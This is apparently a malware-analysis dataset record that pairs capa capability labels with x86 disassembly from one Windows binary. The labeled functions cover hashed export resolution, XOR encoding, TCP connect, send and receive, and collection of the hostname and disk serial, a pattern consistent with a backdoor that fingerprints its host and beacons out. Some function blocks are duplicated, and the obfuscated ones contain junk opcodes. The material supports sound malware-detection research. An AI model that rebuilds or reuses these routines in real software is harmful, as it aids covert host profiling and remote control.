joyce8/EMBER2024-capa huggingface dataset:
Function at 0x77226e16
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x77226e38
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x77226e38
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x77226e38
ret
cmp word [ebx + 4], 0x14c
jne 0x77226e38
test word [ebx + 0x16], 2
je 0x77226e38
test word [ebx + 0x16], 0x100
je 0x77226e38
cmp word [ebx + 0x18], 0x10b
jne 0x77226e38
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x77226e38
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x77226ec4
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x77226e58
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.7720dda3
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x77226e38
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x77226ec4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x77226e38
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x77226e38
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x77226e38
ret
cmp word [ebx + 4], 0x14c
jne 0x77226e38
test word [ebx + 0x16], 2
je 0x77226e38
test word [ebx + 0x16], 0x100
je 0x77226e38
cmp word [ebx + 0x18], 0x10b
jne 0x77226e38
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x77226e38
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x77226ec4
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x77226e58
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.7720dda3
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x77226e38
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x77226f7b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x77226fd4
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x77226f7b
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x77226f8a
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x7762cc2d
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x77226fdb
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.7720de51
cmp eax, dword [ebp + 0xc]
pop eax
je 0x7722707a
add edi, 4
add eax, 2
dec ecx
jne 0x77226fc0
call 0x77227027
loope 0x7722701d
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x77227077
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x77227088
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x7722703b
cmp eax, ecx
ja 0x7722703b
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x772270c5
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x772270bb
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7720e330
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x77226f8a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x77226fd4
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x77226f7b
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x77226f8a
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x7762cc2d
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x77226fdb
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.7720de51
cmp eax, dword [ebp + 0xc]
pop eax
je 0x7722707a
add edi, 4
add eax, 2
dec ecx
jne 0x77226fc0
call 0x77227027
loope 0x7722701d
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x77227077
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x77227088
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x7722703b
cmp eax, ecx
ja 0x7722703b
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x772270c5
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x772270bb
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7720e330
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10004360
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
mov eax, esi
push edi
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004370
sub eax, edx
xor ecx, ecx
mov edx, 0x1d
lea edi, [eax + 1]
test edi, edi
je 0x10004395
movsx eax, byte [ecx + esi]
inc ecx
xor eax, edx
lea edx, [eax + eax*4]
cmp ecx, edi
jb 0x10004387
pop edi
mov eax, edx
pop esi
ret

Function at 0x100045f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a0
lea eax, [esp + 0x10]
push ebx
push esi
push eax
push 0x202
mov esi, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x1000467b
push dword [ebp + 0x20]
mov eax, 2
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
lea ecx, [ebp + 8]
lea eax, [esp + 0xc]
push eax
call fcn.100073c0
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [esp + 0xc]
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1000467b
lea ecx, [ebp + 8]
mov bl, 1
call fcn.100075b0
mov al, bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
lea ecx, [ebp + 8]
xor bl, bl
call fcn.100075b0
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x10004690
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov eax, ecx
mov dword [ebp - 4], eax
push esi
mov esi, ebx
push edi
mov edi, dword [ebp + 8]
test ebx, ebx
je 0x100046c3
push 0
push esi
push edi
push dword [eax + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100046ce
add edi, eax
sub esi, eax
mov eax, dword [ebp - 4]
jne 0x100046a8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x100046e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov eax, ecx
mov dword [ebp - 4], eax
push esi
mov esi, ebx
push edi
mov edi, dword [ebp + 8]
test ebx, ebx
je 0x10004713
push 0
push esi
push edi
push dword [eax + 4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1000471e
add edi, eax
sub esi, eax
mov eax, dword [ebp - 4]
jne 0x100046f8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100053c0
Capabilities:
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100214bd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2a8
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x64]
mov dword [ebp - 4], 0
call fcn.10004540
push esi
sub esp, 0x18
mov byte [ebp - 4], 1
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.10007690
lea ecx, [ebp - 0x64]
call fcn.100045f0
test al, al
je 0x100055b7
lea ecx, [ebp - 0x3c]
call fcn.10002980
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 2
call fcn.100043a0
push eax
lea ecx, [ebp - 0x64]
call fcn.10004840
lea ecx, [ebp - 0x3c]
test al, al
je 0x100055b2
call fcn.100096a0
lea ecx, [ebp - 0x3c]
mov bh, al
call fcn.100096a0
mov bl, al
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x18], bl
call fcn.10002980
push str.error
push 0x6a
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 3
call fcn.100062f0
mov ecx, eax
call fcn.10005dd0
push eax
lea ecx, [ebp - 0x7c]
call fcn.10007620
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 4
push eax
push 0
push 0
sub esp, 8
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x8c]
call fcn.10006280
mov ecx, eax
call fcn.10005dd0
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x100054db
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0xa4]
call fcn.10003c40
push eax
lea ecx, [ebp - 0x7c]
call fcn.100075c0
lea ecx, [ebp - 0xa4]
call fcn.100075b0
sub esp, 0x18
lea eax, [ebp - 0x7c]
mov ecx, esp
push eax
call fcn.10007690
lea ecx, [ebp - 0x28]
call fcn.10004480
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x100
push eax
lea eax, [ebp - 0x2b4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub esp, 0x18
lea eax, [ebp - 0x2b4]
mov ecx, esp
push eax
call fcn.10007270
lea ecx, [ebp - 0x28]
call fcn.100044e0
sub esp, 0x18
lea ecx, [ebp - 0x8c]
mov esi, esp
push str.Hitze
push 0xffffffffffffffe2
call fcn.100062f0
mov ecx, eax
call fcn.10005dd0
push eax
mov ecx, esi
call fcn.10007620
lea ecx, [ebp - 0x28]
call fcn.10004480
push 1
lea ecx, [ebp - 0x28]
call fcn.100092e0
test bh, bh
je 0x10005568
push 0
lea ecx, [ebp - 0x28]
call fcn.10009680
test bl, bl
je 0x1000557e
sub esp, 0x18
mov ecx, esp
call fcn.10004eb0
lea ecx, [ebp - 0x28]
call fcn.100044e0
lea ecx, [ebp - 0x28]
call fcn.100043a0
push eax
lea ecx, [ebp - 0x64]
call fcn.10004730
push dword [ebp - 0x18]
mov dl, bh
lea ecx, [ebp - 0x64]
call fcn.10004f10
add esp, 4
lea ecx, [ebp - 0x7c]
call fcn.100075b0
lea ecx, [ebp - 0x28]
call fcn.100049e0
lea ecx, [ebp - 0x3c]
call fcn.100049e0
lea ecx, [ebp - 0x64]
call fcn.100055e0
lea ecx, [ebp + 8]
call fcn.100075b0
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c090
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1002177d
push eax
mov dword fs:[0], esp
push esi
push edi
push dword [ebp + 0x14]
mov esi, ecx
lea ecx, [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.1000d6d0
add esp, 0xc
lea edi, [esi + 4]
mov dword [ebp - 4], 0
push edi
push 0
lea ecx, [ebp + 0x14]
call fcn.100016b0
push eax
push 0x1000d730
push 0
push 0
call fcn.10014663
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x1000c10c
lea ecx, [ebp + 0x14]
call fcn.1000ceb0
call fcn.1000ced0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 0x10
push 6
mov dword [edi], 0
call fcn.100104b7
int3

Function at 0x1000c120
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002179d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
lea ecx, [ebp - 0x10]
push edi
call fcn.1000d7a0
lea edi, [esi + 4]
mov dword [ebp - 4], 0
push edi
push 0
lea ecx, [ebp - 0x10]
call fcn.100016b0
push eax
push 0x1000d7e0
push 0
push 0
call fcn.10014663
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x1000c191
pop edi
pop esi
lea ecx, [ebp - 0x10]
call fcn.1000afb0
call fcn.1000cea0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
push 6
mov dword [edi], 0
call fcn.100104b7
int3

Function at 0x1001032c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.10010308
pop esi
leave
ret 8

Function at 0x10015a2d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10015a6c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10015a6c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10015a6c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10015a6c
cmp dword [ecx + 0x74], 0xe
jbe 0x10015a6c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10017c6c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024914
push 0x1002490c
push str.FlsAlloc
push 0x1f
call fcn.10017aeb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10017ca0
push dword [ebp + 8]
mov ecx, esi
call dword [0x100221e4]
call esi
jmp 0x10017ca6
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x10017cea
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10024924
push 0x1002491c
push str.FlsGetValue
push 0x21
call fcn.10017aeb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10017d21
push dword [ebp + 8]
mov ecx, esi
call dword [0x100221e4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10017d29
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002492c
push 0x10024924
push str.FlsSetValue
push 0x22
call fcn.10017aeb
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10017d63
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x100221e4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1001b260
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001b2fd
push ebx
push esi
call fcn.1001b229
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001b1bd
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001b2aa
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001b2fc
push edi
push eax
call fcn.10019758
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001b2ca
call fcn.10016bab
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001b2fb
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001b1bd
add esp, 0x20
test eax, eax
jne 0x1001b2e9
push edi
call fcn.10016bab
jmp 0x1001b2f1
push ebx
call fcn.10016bab
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1001b300
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1001b311
pop esi
ret
push ebx
push edi
push esi
call fcn.1001b229
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.10019758
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1001b339
push ebx
push esi
push edi
call fcn.10012510
add esp, 0xc
push 0
call fcn.10016bab
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x1001b709
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001b34e
Function at 0x1001cc01
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1002fc18]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1001cc41
cmp byte [ebx], 0xa
jne 0x1001cc41
or byte [edi + eax + 0x28], 4
jmp 0x1001cc46
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1001cd45
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1001cd28
inc eax
cmp dl, 0xd
je 0x1001cc72
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1001cc98
cmp eax, ecx
jae 0x1001cca6
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1001cc5a
jmp 0x1001cd45
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001cd23
cmp dword [ebp - 0x10], 0
je 0x1001cd23
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1002fc18]
test byte [eax + edi + 0x28], 0x48
je 0x1001ccfd
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x1001cce8
mov byte [esi], dl
jmp 0x1001ccf9
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1002fc18]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1001cd45
cmp byte [ebp - 1], 0xa
jne 0x1001cd0c
cmp esi, ebx
jne 0x1001cd0c
mov byte [esi], 0xa
jmp 0x1001cd44
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1001c9fa
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1001cd45
mov byte [esi], 0xd
jmp 0x1001cd44
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1002fc18]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1001cd42
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1001cd45
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1001cd4e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x1002fc18]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1001cd94
cmp word [ebx], dx
jne 0x1001cd94
or byte [eax + edi + 0x28], 4
jmp 0x1001cd99
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1001cefc
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x1001cedc
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1001cdda
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1001ce10
cmp eax, edx
jae 0x1001ce1e
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1001cdb5
jmp 0x1001cefc
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001ced7
cmp dword [ebp - 0x18], 0
je 0x1001ced7
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x1002fc18]
test byte [eax + edi + 0x28], 0x48
je 0x1001cead
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1001ce71
mov word [esi], cx
jmp 0x1001cea8
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x1002fc18]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1002fc18]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x1002fc18]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1001cefc
pop eax
cmp word [ebp - 4], ax
jne 0x1001cebd
cmp esi, ebx
jne 0x1001cebd
mov word [esi], ax
jmp 0x1001cef9
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1001c9fa
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1001cefc
push 0xd
pop eax
jmp 0x1001ceb8
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x1002fc18]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1001cef6
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1001cefc
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret